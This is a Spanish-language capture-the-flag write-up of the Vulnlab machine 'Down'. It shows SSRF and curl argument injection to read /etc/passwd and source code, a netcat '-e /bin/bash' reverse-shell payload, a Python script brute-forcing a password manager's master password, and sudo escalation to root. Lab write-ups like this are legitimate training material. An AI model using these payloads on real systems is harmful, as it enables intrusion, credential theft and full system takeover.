# Down - Writeup (Vulnlab)

## NMAP

Comenzamos con la enumeracion de puertos y servicios:

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_  256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Solamente puerto 22 y 80 disponibles de TCP.

## HTTP | 80

Al acceder al servicio web sobre el puerto 80 (Apache), se presenta una interfaz típica para verificar el estado de la URL:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997845536/71c2f5ff-25b9-4214-b1ad-2a5fa4b7c7c8.png align="center")

Probamos ingresando “[localhost](http://localhost)” como URL de prueba. El sistema parece hacer una petición HTTP al destino y mostrar el resultado, lo cual sugiere una posible vulnerabilidad SSRF (Server-Side Request Forgery).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997853431/67583e3c-8d34-44a2-9891-7762ec15a42f.png align="center")

Si trato de leer un archivo como **.htaccess**, me da error de permisos:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997863163/2ff03d64-152e-4ab1-bc8e-6aa2f74cb4ba.png align="center")

## Parameter Injection

Queria saber de que modo leia el codigo fuente cuando le pasabamos el sitio web mediante el parametro “URL” que utiliza, y compruebo que se trata de cURL, ya que al inyectar –help como valor, el sistema respondió con la ayuda del comando:

```bash
http://localhost -h
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997877581/0b61384b-0c5b-4f92-9e0c-7f2e826f5520.png align="center")

## Lectura de archivos mediante [file:///](file:///)

Aprovechando que el backend ejecuta curl directamente con el parámetro URL, es posible abusar del esquema [file:///](file:///) para leer archivos locales del sistema:

```bash
http://localhost file:///etc/hosts
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997888844/4690e532-aacc-42cc-a02e-e80e521b0bf1.png align="center")

```bash
http://localhost file:///etc/passwd
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997902903/7d40164b-29f9-4b52-ad9e-bdaf91c634e1.png align="center")

## Interpretando el codigo de INDEX.php

Siguiendo la misma via de inyeccion si trato con [file:///](file:///) obtener el codigo fuente de **index.php** encuentro un finding interesante:

```bash
http://localhost file:///var/www/html/index.php
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997914032/d89e53fc-6229-4e4c-b8c8-64bdfca837bc.png align="center")

```bash
expertmode=tcp
```

* Cuando se accede mediante el index.php pasandole `expertmode=tcp`, el formulario permite ingresar una IP y un puerto.
    
* El código verifica si la IP es válida y si el puerto es un número entero.
    
* Luego, utiliza `nc` (netcat) para verificar si el puerto está abierto en la IP especificada:
    
    `$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port"); exec($ec . " 2>&1",$output,$rc);`
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997939943/0b99ef56-91a6-4d5c-b8ab-04cd24aa3f5f.png align="center")

# USER: Getting revshell

Aunque usa `escapeshellcmd()` para intentar proteger el comando, esto no es suficiente, ya que solo escapa caracteres específicos, pero no protege los parámetros que se pasan a netcat (`$ip` y `$port`). La idea fue inyectar opciones adicionales en el parámetro `port` para ejecutar una revshell:

  

### <mark>Payload:</mark>

```bash
ip=10.8.0.147&port=8000+-e+/bin/bash
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997974641/961c2daa-9923-4fc8-983d-7ee5bd73ca2a.png align="center")

Finalmente cateamos la flag y obtenemos el user.

Enumerando el sistema, habiamos visto al principio que teniamos un solo usuario, llamado “aleks”, dentro de su carpeta, si veo los permisos puedo acceder a su home y asi mismo a una carpeta llamada **pswm**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997987438/eb0f8104-7600-47c2-a39e-7ea2bd3bed6a.png align="center")

  

Dentro hay un archivo llamado del mismo modo, que aparentemente tiene un contenido cifrado.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997995786/c8654b54-1c99-4aa4-88f0-76a3b8b2c09b.png align="center")

## PSWM | Command Line Password Manager

Una rapida busqueda a Google me permite identificar de que se trata: [https://github.com/Julynx/pswm](https://github.com/Julynx/pswm)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998011496/3ea20005-3815-4411-9177-c601184e4229.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998015908/afb93b25-ff0f-4546-bce0-b94fda419cfb.png align="center")

## Cracking pwsm master password

Para resolver esto utilicé fuerza bruta con el wordlist `rockyou.txt` y la biblioteca `cryptocode` en Python. El script va probando cada contraseña del wordlist, usando la función `cryptocode.decrypt()` contra la cadena cifrada.

* #### <mark>crackPSWM.py</mark>
    

```python
#!/usr/bin/env python3
# by shkz

import cryptocode

# Master Password 
secret = "e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==w"

# BF Wordlist -> rockyou.txt
wordlist = "rockyou.txt"

# BF with rockyou.txt
try:
    with open(wordlist, "r", encoding="latin-1") as file:
        for password in file:
            password = password.strip()
            decrypted_data = cryptocode.decrypt(secret, password)
            if decrypted_data:
                print(f"[+] Password FOUND!: {password}")
                print(f"Data: {decrypted_data}")
                break
        else:
            print("[-] No luck!")
except FileNotFoundError:
    print(f"[-] Error file {wordlist}.")
```

Ejecuto el script y logro crackear el Master Password cifrado:

```python
python3 crackPSWM.py
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998069159/09bffb50-7b13-48ad-82b3-65cc07a7d1f0.png align="center")

## Getting aleks shell

Ahora que tengo el password de aleks puedo convertirme en el y obtener shell:

```python
su aleks
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998086102/4bdbd33f-0b17-443d-8d62-da006aa31c85.png align="center")

# ROOT

Para nuestra suerte verificando el comando `sudo -l` vemos que tiene **ALL:ALL**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998097592/0fac8155-735e-4a35-8d0f-3640abdae0c5.png align="center")

Basicamente somos root.

```python
sudo su
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998109165/1ef326a9-14ae-4558-a8ee-0316dba66112.png align="center")

Pwn3d!
